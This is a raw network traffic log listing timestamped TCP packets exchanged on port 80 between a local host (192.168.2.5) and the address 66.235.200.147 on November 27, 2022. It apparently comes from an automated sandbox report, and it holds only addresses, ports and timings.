Nov 27, 2022 04:36:43.133414030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133430004 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133436918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133454084 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133460999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133476973 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133485079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133502960 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133508921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133522987 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133534908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133549929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133559942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133583069 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133584976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133599997 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133610964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133625984 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133635044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133657932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133666992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133682966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133707047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133707047 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133730888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133738995 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133738995 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133752108 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133755922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133778095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133780956 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133793116 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133802891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133821011 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133826017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133850098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133857965 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133873940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133874893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133899927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133907080 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133924007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133924961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133939981 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133950949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133974075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133977890 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133996964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134005070 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134021997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134033918 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134044886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134059906 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134068966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134074926 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134093046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134094954 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134116888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134119034 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134133101 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134140968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134160042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134166002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134190083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134202003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134213924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134231091 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134238005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134259939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134263992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134284019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134289980 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134308100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134332895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134342909 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134342909 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134357929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134360075 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134380102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134382963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134397984 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134407043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134429932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134437084 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134454012 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134454966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134480000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134489059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134504080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134521961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134530067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134550095 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134552956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134576082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134577990 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134589911 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134598970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134618044 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134635925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134658098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134675026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134685040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134694099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134711981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134720087 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134731054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134732962 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134749889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134759903 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134768963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134788990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134788036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134807110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134814978 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134825945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134845972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134846926 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134862900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134871006 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134891987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134902000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134912014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134928942 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134929895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134948969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134948969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134963036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134968996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.134977102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.134990931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135003090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135009050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135027885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135031939 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135045052 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135047913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135066986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135077000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135077000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135086060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135104895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135107040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135123968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135126114 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135143042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135152102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135162115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135170937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135181904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135191917 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135201931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135220051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135222912 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135236025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135238886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135256052 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135258913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135271072 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135277987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135296106 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135297060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135313034 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135315895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135328054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135335922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135354042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135354042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135368109 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135373116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135386944 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135392904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135411978 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135412931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135426044 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135433912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135443926 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135452986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135469913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135476112 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135488033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.135492086 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135507107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.135539055 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.175232887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.175302982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.175344944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.175384998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.175426006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.175463915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.175504923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.175528049 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.175528049 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.175544024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.175585032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.175596952 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.175596952 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.175596952 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.175626040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.175637007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.175666094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.175679922 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.175705910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.175714970 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.175745010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.175785065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.175838947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.175883055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.175920010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.175957918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.175997019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176037073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176074028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176114082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176152945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176191092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176235914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176274061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176311970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176352024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176390886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176434040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176474094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176512957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176552057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176589966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176629066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176666975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176706076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176743984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176784039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176791906 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.176821947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176822901 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.176865101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176903963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176942110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.176980019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177018881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177059889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177098989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177138090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177175999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177217007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177248001 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.177254915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177277088 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.177294016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177333117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177372932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177417040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177423954 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.177455902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177495003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177498102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.177498102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.177536011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177575111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177613974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177619934 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.177648067 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.177654028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177673101 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.177694082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177735090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177751064 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.177773952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177814960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177855968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177862883 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.177891970 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.177896023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177920103 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.177947998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.177969933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.178009987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178023100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.178049088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178085089 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.178087950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178109884 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.178127050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178138018 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.178168058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178206921 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.178208113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178236008 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.178256035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178260088 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.178294897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178311110 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.178334951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178345919 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.178375959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178388119 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.178416967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178428888 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.178457975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178497076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178518057 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.178536892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178575039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178592920 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.178616047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178622961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.178653955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178694963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178716898 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.178734064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178774118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178792000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.178817034 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178821087 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.178867102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178934097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.178941011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.178981066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179019928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179043055 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.179059029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179064035 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.179099083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179137945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179152966 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.179177999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179215908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179255009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179255962 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.179255962 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.179276943 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.179295063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179308891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.179333925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179352045 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.179373026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179389000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.179413080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179424047 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.179452896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179462910 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.179491997 CET	80	49705	66.235.200.147	192.168.2.5
